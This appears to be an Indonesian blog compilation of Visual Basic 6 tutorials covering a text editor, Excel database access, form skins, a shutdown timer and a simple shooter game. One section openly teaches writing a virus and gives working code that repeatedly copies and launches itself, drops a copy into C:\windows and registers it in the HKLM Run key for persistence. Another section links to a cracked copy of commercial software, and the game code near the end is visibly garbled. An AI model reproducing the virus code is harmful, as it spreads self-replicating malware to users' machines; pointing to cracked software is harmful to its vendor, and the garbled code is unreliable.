Text1.Height = Me.ScaleHeight - 300
End If
End Sub

Private Sub new_Click()
Dim retval As VbMsgBoxResult
If saved = False Then
retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")
If retval = vbYes Then save_Click
If retval = vbCancel Then Exit Sub
End If
Text1.Text = ""
End Sub

Private Sub open_Click()
cd.ShowOpen
Text1.LoadFile cd.FileName

End Sub

Private Sub paste_Click()
If (Clipboard.GetFormat(rtfCFRTF) = True Or Clipboard.GetFormat(rtfCFText) = True) Then
Text1.Text = Clipboard.GetText
Else
MsgBox "Clipboard contains unknown data type!", vbCritical, "Error"
End If
End Sub

Private Sub save_Click()
On Error GoTo canc
cd.ShowSave
Text1.SaveFile cd.FileName
saved = True
GoTo end1
canc:
saved = False
end1:
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
saved = False
End Sub

Private Sub Text1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbRightButton Then
PopupMenu edit
End If
End Sub


Private Sub txtcolor_Click()
On Error Resume Next
cd.ShowColor
Text1.SelColor = cd.Color
End Sub

Private Function openfile(ByVal fn As String)
Text1.FileName = fn
End Function

Yups sgitua aja scriptnya, semoga pembahasan ini bermanfaat dan bisa menjadi bahan referensi bagi vbthok mania. Bagi yang tidak ingin pusing tetep silakan download scritpnya disini

Koneksi VB dengan Excell

Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.
Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.
Oke langsung aja akan ku tulisan source codenya

Ini Source codenya

Dim cn As ADODB.Connection
Dim rs As ADODB.Recordset

Option Explicit

Private Sub Command1_Click()

Set rs = New ADODB.Recordset
'--- mengambil data dari member
rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs


End Sub



Private Sub Command2_Click()

Set rs = New ADODB.Recordset

'--- mengambil data dari excel dari tab salary
rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub



Private Sub Form_Load()

On Error GoTo ErrHandler
Set cn = New ADODB.Connection

' -- provider koneksi
cn.Provider = "Microsoft.Jet.OLEDB.4.0"

'--- membuat koneksi file excell
'---dari Excel 97/2000/2002 atau Excel 8.0
'--- dari Excel 95 atau Excel 5.0
cn.ConnectionString = _
"Data Source= " & App.Path & "/Book1.xls;" & _
"Extended Properties=Excel 8.0;"
cn.CursorLocation = adUseClient
cn.Open

Exit Sub
ErrHandler:
MsgBox "Tidak ada koneksi yang terjadi"
End Sub

Private Sub Command3_Click()
MsgBox "Contoh Koneksi Database Excell", vbInformation, ""
End
End Sub

Silahkan aja kamu coba dan dipelajari

Semoga dapat membantu.

Membuat Form VB bergaya XP

Bagi teman-teman yang mau membuat aplikasi dari visual basic maka teman-teman bisa menggunakan kontrol yang dapat merubah tampilan form dan kontrol-kontrol yang lainnya. salah satunya anda bisa menggunakan OsenXPSuite, anda dapat mendonlotnya di www.osenxpsuite.com yang versi trialnya selama 30 hari, kemudian untuk versi fullnya anda harus membayar $180.
Setelah aku cari di 4shared.com akhirnya saya menemukan osenxpsuite 2006 yang udah ada cracknya. anda dapat mendownloadnya disini.

Setelah anda download maka anda akan dapat menggunakannya.
Berikut adalah tamplan setelah menggunakan OsenXPSuite2006


Semoga aja dapat membantu teman-teman dalam pembuatan aplkasi yang bagus

Membuat tampilan VB tampil kereeeen

Terkadang tampilan program yang kita buat terkesan biasa ato standart2 aja meskipun isi dari program kita terbilang program besar,nah untuk melengkapi program yang kita buat bisa tampil lebih kereen dan pastinya bisa menambah daya jual program kita menjadi lebih tinggi,alangkah baiknya kita beri themes ato skins.
berikut tampilan form yang sudah diberi skins..




Gimana?? keren kan?? untuk bisa membuat skin seperti ini silakan anda download programnya disini

Untuk menggunakan skin tersebut kamu harus mengaktifkan act43.ocx dulu pada program VB nah setelah diaktifkan tinggal anda buat form dan masukkan code script sperti dibawah ini

Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const EM_UNDO = &HC7
Private Declare Function OSWinHelp% Lib "user32" Alias "WinHelpA" (ByVal hwnd&, ByVal HelpFile$, ByVal wCommand%, dwData As Any)


Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OpenFilename) As Long
Private Type OpenFilename
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
iFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Function ShowFileDialog() As String
Dim ofn As OpenFilename
ofn.lStructSize = Len(ofn)
ofn.hwndOwner = hwnd
ofn.lpstrFilter = "Skin files (*.skn)" & Chr$(0) & "*.skn" & Chr$(0) & Chr(0) & Chr(0)
ofn.lpstrFile = String(256, 0)
ofn.nMaxFile = 255
ofn.lpstrTitle = "Open Skin"
ofn.Flags = &H800000 + &H1000 + &H8 + &H4
ofn.lpstrDefExt = "skn" + Chr(0)
GetOpenFileName ofn
If Mid(ofn.lpstrFile, 1, 1) <> Chr(0) Then ShowFileDialog = ofn.lpstrFile
End Function


Private Sub Form_Load()
Skin1.ApplySkin Me.hwnd
Me.Left = GetSetting(App.Title, "Settings", "MainLeft", 1000)
Me.Top = GetSetting(App.Title, "Settings", "MainTop", 1000)
Me.Width = GetSetting(App.Title, "Settings", "MainWidth", 6500)
Me.Height = GetSetting(App.Title, "Settings", "MainHeight", 6500)

End Sub

Private Sub Form_Unload(Cancel As Integer)
If Me.WindowState <> vbMinimized Then
SaveSetting App.Title, "Settings", "MainLeft", Me.Left
SaveSetting App.Title, "Settings", "MainTop", Me.Top
SaveSetting App.Title, "Settings", "MainWidth", Me.Width
SaveSetting App.Title, "Settings", "MainHeight", Me.Height
End If
End Sub
Selamat mencoba dan berkreasi dengan program program yang lebih kereen...

Membuat Virus menggunakan VB

Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.ini codenya :

Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

Silakan dipelajari semoga bermanfaat tapi alangkah baiknya untuk tidak digunakan yang merugikan orang lain. "Ups...kok jadi ceramah ya.." Hee..he...hee...

Shutdown Timer menggunakan VB

Shutdown timer adalah program yang berfungsi untuk menentukan kapan komputer akan dimatikan secara otomatis setelah menentukan dengan sebuh program.Nah kali ini kamu bisa membuat sendiri program shutdown timer dengan kreasi kalian sendiri.
komponen yang dibutuhkan adalah :

3 Command Buttons
4 Combo Boxes
1 Form
6 Labels
2 List Boxes
8 Menus
1 Timer
1 Module

jika kamu tidak ingin repot dengan membuat sendiri kamu juga bisa download source codenya yang sudah jadi dan langsung jalan
disini
Berikut source code lengkapnya


Option Explicit
Private Sub btnExit_Click()
frmCancelUnload = False
Unload Me
End Sub

Private Sub btnTurnOFF_Click()
btnTurnON.Enabled = True
btnTurnOFF.Enabled = False

mnuPopupTurnON.Enabled = True
mnuPopupTurnOFF.Enabled = False

cboHour.Enabled = True
cboMinute.Enabled = True
cboSecond.Enabled = True
cboAMPM.Enabled = True
lstOptions.Enabled = True
lstExtra.Enabled = True

Me.Caption = "Shutdown Timer - OFF"

tmrShutdown.Enabled = False
End Sub

Private Sub btnTurnON_Click()
btnTurnON.Enabled = False
btnTurnOFF.Enabled = True

mnuPopupTurnON.Enabled = False
mnuPopupTurnOFF.Enabled = True

cboHour.Enabled = False
cboMinute.Enabled = False
cboSecond.Enabled = False
cboAMPM.Enabled = False
lstOptions.Enabled = False
lstExtra.Enabled = False

Me.Caption = "Shutdown Timer - ON"

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
tmrShutdown.Enabled = True
End Sub

Private Sub cboAMPM_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboHour_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboMinute_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboSecond_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub Form_Load()
Dim intCnt As Integer

Dim strOptSel As String
Dim strExtSel As String

Dim strHour As String
Dim strMinute As String
Dim strSecond As String
Dim strAMPM As String

For intCnt = 1 To 12
DoEvents
cboHour.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboMinute.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboSecond.AddItem intCnt
Next intCnt

With lstOptions
.AddItem "Shutdown OS"
.AddItem "Turn off Computer"
.AddItem "Restart"
.AddItem "Log off"
End With

cboAMPM.AddItem "AM"
cboAMPM.AddItem "PM"

lstExtra.AddItem "Use Force"
lstExtra.AddItem "Force only if Freezes"

strIniPath = App.Path & "\" & App.Title & ".ini"

strOptSel = String(255, vbNullChar)
strExtSel = String(255, vbNullChar)

Call GetPrivateProfileString("Options", "Selected", 1, strOptSel, 255, strIniPath)
Call GetPrivateProfileString("Extra", "Selected", 1, strExtSel, 255, strIniPath)

lstOptions.Selected(Int(strOptSel)) = True
lstExtra.Selected(Int(strExtSel)) = True

strHour = String(255, vbNullChar)
strMinute = String(255, vbNullChar)
strSecond = String(255, vbNullChar)
strAMPM = String(255, vbNullChar)

Call GetPrivateProfileString("Shutdown", "Hour", 3, strHour, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Minute", 15, strMinute, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Second", 45, strSecond, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "AMPM", "AM", strAMPM, 255, strIniPath)

cboHour.Text = strHour
cboMinute.Text = strMinute
cboSecond.Text = strSecond
cboAMPM.Text = strAMPM

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text

If IsWinNT = False Then lstExtra.Enabled = False
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim xTray As Single

xTray = x / Screen.TwipsPerPixelX

Select Case xTray
Case WM_RBUTTONDOWN
Call SetForegroundWindow(Me.hwnd)
Call PopupMenu(mnuPopup)
Case WM_LBUTTONDBLCLK
Call SetForegroundWindow(Me.hwnd)
Me.Show
End Select
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = frmCancelUnload
If frmCancelUnload = True Then
Me.WindowState = vbMinimized
Me.Hide
Me.WindowState = vbNormal
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nid_Tray)
Call SavePos(Me, strIniPath)

Call WriteINI("Options", "Selected", lstOptions.ListIndex, strIniPath)
Call WriteINI("Extra", "Selected", lstExtra.ListIndex, strIniPath)

Call WriteINI("Shutdown", "Hour", cboHour.Text, strIniPath)
Call WriteINI("Shutdown", "Minute", cboMinute.Text, strIniPath)
Call WriteINI("Shutdown", "Second", cboSecond.Text, strIniPath)
Call WriteINI("Shutdown", "AMPM", cboAMPM.Text, strIniPath)
End Sub

Private Sub lstExtra_Click()
lstExtra.Selected(lstExtra.ListIndex) = True
End Sub

Private Sub lstExtra_ItemCheck(Item As Integer)
Dim iLst As Integer

For iLst = 0 To (lstExtra.ListCount - 1)
If iLst <> Item Then lstExtra.Selected(iLst) = False
Next iLst
End Sub

Private Sub lstOptions_Click()
lstOptions.Selected(lstOptions.ListIndex) = True
End Sub

Private Sub lstOptions_ItemCheck(Item As Integer)
Dim iLst As Integer
For iLst = 0 To (lstOptions.ListCount - 1)
DoEvents
If iLst <> Item Then lstOptions.Selected(iLst) = False
Next iLst
End Sub

Private Sub mnuPopup_Click()
Select Case Me.Visible
Case True
mnuPopupHide.Enabled = True
mnuPopupShow.Enabled = False
Case False
mnuPopupHide.Enabled = False
mnuPopupShow.Enabled = True
End Select
End Sub

Private Sub mnuPopupExit_Click()
Call btnExit_Click
End Sub

Private Sub mnuPopupHide_Click()
Me.Hide
End Sub

Private Sub mnuPopupShow_Click()
Me.Show
End Sub

Private Sub mnuPopupTurnOFF_Click()
Call btnTurnOFF_Click
End Sub

Private Sub mnuPopupTurnON_Click()
Call btnTurnON_Click
End Sub

Private Sub tmrShutdown_Timer()
Dim lngFlags As Long

If FormatDateTime(strShutdown, vbLongTime) = FormatDateTime(Time, vbLongTime) Then
Select Case lstOptions.ListIndex
Case 0 'Shutdown OS
lngFlags = EWX_SHUTDOWN
Case 1 'Turn off System
lngFlags = EWX_POWEROFF
Case 2 'Restart
lngFlags = EWX_REBOOT
Case 3 'Logoff
lngFlags = EWX_LOGOFF
End Select

Select Case lstExtra.ListIndex
Case 0 'Use force
lngFlags = lngFlags Or EWX_FORCE
Case 1 'Force only if freezes
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End Select

If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)

Call btnTurnOFF_Click
End If
End Sub

Source Code untuk module nya
Public Const ANYSIZE_ARRAY As Long = 1

Public Const EWX_FORCE As Long = 4
Public Const EWX_FORCEIFHUNG As Long = &H10
Public Const EWX_LOGOFF As Long = 0
Public Const EWX_POWEROFF As Long = &H8
Public Const EWX_REBOOT As Long = 2
Public Const EWX_SHUTDOWN As Long = 1

Public Const MAX_COMPUTERNAME As Long = 15

Public Const SE_PRIVILEGE_ENABLED As Long = &H2

Public Const TOKEN_ADJUST_DEFAULT As Long = &H80
Public Const TOKEN_ADJUST_GROUPS As Long = &H40
Public Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
Public Const TOKEN_ADJUST_SESSIONID As Long = &H100
Public Const TOKEN_QUERY As Long = &H8

Public Const VER_PLATFORM_WIN32_NT As Long = 2

Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4

Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const NIM_MODIFY = &H1

Public Const WM_LBUTTONDBLCLK As Long = &H203
Public Const WM_MOUSEMOVE As Long = &H200
Public Const WM_RBUTTONDOWN As Long = &H204

Public Const HWND_TOPMOST As Long = -1

Public Const SWP_NOMOVE As Long = &H2
Public Const SWP_NOSIZE As Long = &H1

Public Type LARGE_INTEGER
LowPart As Long
HighPart As Long
End Type

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

'ADVAPI32
Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
ByRef lpLuid As LUID) As Long 'change lpLuid from LARGE_INTEGER to LUID
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
ByRef NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
ByRef PreviousState As TOKEN_PRIVILEGES, _
ByRef ReturnLength As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef TokenHandle As Long) As Long

'COMCTL32
Public Declare Sub InitCommonControls Lib "comctl32.dll" ()

'KERNEL32
Public Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" ( _
ByRef lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
ByRef nSize As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

'USER32
Public Declare Function ExitWindowsEx Lib "user32.dll" ( _
ByVal uFlags As Long, _
ByVal dwReserved As Long) As Long

Public Declare Function GetPrivateProfileString Lib "kernel32.dll" Alias "GetPrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, _
ByVal lpDefault As String, _
ByVal lpReturnedString As String, _
ByVal nSize As Long, _
ByVal lpFileName As String) As Long

Public Declare Function SetWindowPos Lib "user32.dll" ( _
ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, _
ByVal y As Long, _
ByVal cx As Long, _
ByVal cy As Long, _
ByVal wFlags As Long) As Long

Public Declare Function WritePrivateProfileString Lib "kernel32.dll" Alias "WritePrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As Any, _
ByVal lpString As Any, _
ByVal lpFileName As String) As Long

Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Public OSVerInfo As OSVERSIONINFO
Public nid_Tray As NOTIFYICONDATA
Public frmCancelUnload As Boolean
Public strIniPath As String
Public strShutdown As String

Public Sub Main()
Dim strBuffLeft As String
Dim strBuffTop As String

Dim lngFlags As Long
Dim blnTrig As Boolean

If App.PrevInstance = True Then End
Call InitCommonControls

If Command <> "" Then
If InStr(1, Command, "shutdown") <> 0 Then
lngFlags = EWX_SHUTDOWN
blnTrig = True
ElseIf InStr(1, Command, "poweroff") <> 0 Then
lngFlags = EWX_POWEROFF
blnTrig = True
ElseIf InStr(1, Command, "reboot") <> 0 Then
lngFlags = EWX_REBOOT
blnTrig = True
ElseIf InStr(1, Command, "logoff") <> 0 Then
lngFlags = EWX_LOGOFF
blnTrig = True
End If

If InStr(1, Command, "force") <> 0 Then
lngFlags = lngFlags Or EWX_FORCE
ElseIf InStr(1, Command, "forceifhung") <> 0 Then
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End If

If blnTrig = True Then
If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)
End
End If
End If

Load frmMain

With nid_Tray
.cbSize = Len(nid_Tray)
.hIcon = frmMain.Icon
.hwnd = frmMain.hwnd
.szTip = frmMain.Caption & vbNullChar
.uCallbackMessage = WM_MOUSEMOVE
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uID = vbNull
End With

Call Shell_NotifyIcon(NIM_ADD, nid_Tray)

frmCancelUnload = True 'cancel unload by default

strBuffLeft = String(255, vbNullChar)
strBuffTop = String(255, vbNullChar)

strIniPath = App.Path & "\" & App.Title & ".ini"

Call GetPrivateProfileString("Position", "Left", 0, strBuffLeft, 255, strIniPath)
Call GetPrivateProfileString("Position", "Top", 0, strBuffTop, 255, strIniPath)

frmMain.Left = strBuffLeft
frmMain.Top = strBuffTop

Call SetWindowPos(frmMain.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)

frmMain.Show
End Sub

Public Sub WriteINI(strSection As String, strKey As String, strValue As String, strPath As String)
Call WritePrivateProfileString(strSection, strKey, strValue, strPath)
End Sub

Public Sub SavePos(frmSave As Form, strPath As String)
If frmSave.WindowState = vbNormal Then
Call WriteINI("Position", "Left", frmSave.Left, strPath)
Call WriteINI("Position", "Top", frmSave.Top, strPath)
End If
End Sub

Public Function IsWinNT() As Boolean
OSVerInfo.dwOSVersionInfoSize = Len(OSVerInfo)
Call GetVersionEx(OSVerInfo)
If OSVerInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then IsWinNT = True
End Function

Public Sub EnableNTShutdown()
Dim TknPriv_Old As TOKEN_PRIVILEGES
Dim TknPriv_New As TOKEN_PRIVILEGES
Dim LUID_NTShutdown As LUID
Dim CurProc As Long
Dim TknHnd As Long

CurProc = GetCurrentProcess
Call OpenProcessToken(CurProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, TknHnd)
Call LookupPrivilegeValue(CompName, "SeShutdownPrivilege", LUID_NTShutdown)

TknPriv_Old.PrivilegeCount = 1
TknPriv_Old.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
TknPriv_Old.Privileges(0).pLuid = LUID_NTShutdown

Call AdjustTokenPrivileges(TknHnd, False, TknPriv_Old, 4 + (12 * TknPriv_Old.PrivilegeCount), TknPriv_New, 4 + (12 * TknPriv_New.PrivilegeCount))
End Sub

Public Function CompName() As String
Dim lngInStr As Long

CompName = String(MAX_COMPUTERNAME, vbNullChar)
Call GetComputerName(CompName, MAX_COMPUTERNAME + 1)

lngInStr = InStr(1, CompName, vbNullChar) 'error protection

If lngInStr <> 0 Then CompName = Mid(CompName, 1, lngInStr - 1)
End Function

Latihan membuat game dengan VB

Kali ini kita kita akan belajar membuat game yang nantinya bisa kamu kembangkan sendiri.Penulis hanya membuat sample ini supaya kamu bisa menciptakan sendiri game yang lebih bagus.Game ini sangat simple dengan tampilan 2 dimensi menggunakan scipt kode di VB. Ada tiga option yang bisa dipilih yaitu :
1) Start
2) Options
3) The Game
Komponen yang digunakan
1) Timer Control
2) Picture Control
3) Label Control
4) Windows Media ocx
Untuk bermain game ini hanya menggunakan tombol arah serta tombol spasi. Silakan mencoba sendiri..
Dan berikut sample codenya

Option Explicit
Dim u, d, l, r, showm As Boolean
Dim x, y As Integer
Dim mx, my As Integer
Dim ex, ey As Integer
Dim score As Long
Dim fuel As Integer
Dim es As Integer

Private Sub Form_Load()'MediaPlayer1.playerApplication = App.Path & "\sfx\fire.wav"
'MediaPlayer2.FileName = App.Path & "\sfx\Explosion.wav"
'MediaPlayer3.FileName = App.Path & "\sfx\mainsound.mp3"lblScore.Caption = "0"x = 0
y = 0ex = -100
ex = -100es = 10fuel = 1
End Sub

Private Sub Form_Paint()
shooter.SetFocus
End Sub

Private Sub shooter_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 49 Then speed = speed - 1
If speed <= 0 Then speed = 0 If speed > 30 Then speed = 30

If KeyCode = 50 Then speed = speed + 1
If KeyCode = vbKeyLeft Then l = True
If KeyCode = vbKeyRight Then r = True
If KeyCode = vbKeyUp Then u = True
If KeyCode = vbKeyDown Then d = True
If KeyCode = vbKeySpace Then
If Not showm Then
fireit
End If
End If
If KeyCode = vbKeyEscape Then Unload Me: End
End Sub

Private Sub shooter_KeyUp(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyLeft Then l = False
If KeyCode = vbKeyRight Then r = False
If KeyCode = vbKeyUp Then u = False
If KeyCode = vbKeyDown Then d = False
End Sub

Private Sub Timer1_Timer()Static ch As Boolean
ch = Not chIf ch Then
shooter.Picture = Picture2.Picture
Else
shooter.Picture = Picture3.Picture
End If
End Sub

Private Sub
Timer2_Timer()
If l Then
x = x - speed
If x < x =" 0" x =" x">= Me.ScaleWidth - 100 Then x = Me.ScaleWidth - 100

End If

If u Then
y = y - speed
If y < y =" 0" y =" y">= Me.ScaleHeight - 100 Then y = Me.ScaleHeight - 100
End If

Label5.Caption = "X = " & x
Label6.Caption = "Y = " & y

shooter.Left = x
shooter.Top = y

Label3.Caption = CStr(speed)

If showm Then

mx = mx + 20
If mx > Me.ScaleWidth Then
showm = False
fire.Visible = False

End If

fire.Left = mx
fire.Top = my

If (my > ey And my <> ex) Then
score = score + 10
showm = False
SetEn
End If

Else
fire.Visible = False

End If

ex = ex - es
en.Left = ex
If ex < -200 Then SetEn en.Top = ey End If lblScore = CStr(score) Label8.Caption = "EX = " & ex Label7.Caption = "EY = " & ey If (y > ey - 40 And y <> ex And x < fuel =" fuel"> 1 Then MediaPlayer2.Play
Picture1.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)

SetEn Select Case fuel

Case 2
Image1.Picture = LoadPicture(App.Path & "\data\fuel50.gif")

Case 3
Image1.Picture = LoadPicture(App.Path & "\data\fuel20.gif")

Case 4
Image1.Picture = LoadPicture(App.Path & "\data\game-over.gif")

End Select

If fuel = 4 Then

MsgBox "Game Over", vbCritical, "Shooter"
Unload Me
Form2.Show

End If

End If
End Sub

Private Sub fireit()
'MediaPlayer1.Play
showm = Truemx = shooter.Left + 100
my = shooter.Top + 50
fire.Visible = True
End Sub

Public Sub SetEn()
ey = Int(Rnd * Me.ScaleHeight) - 100

ex = Me.ScaleWidth
en.Left = ex
en.Top = ey

End Sub

Private Sub Timer3_Timer()
es = es + 5
End Sub

Berikut source code yang sudah jadi download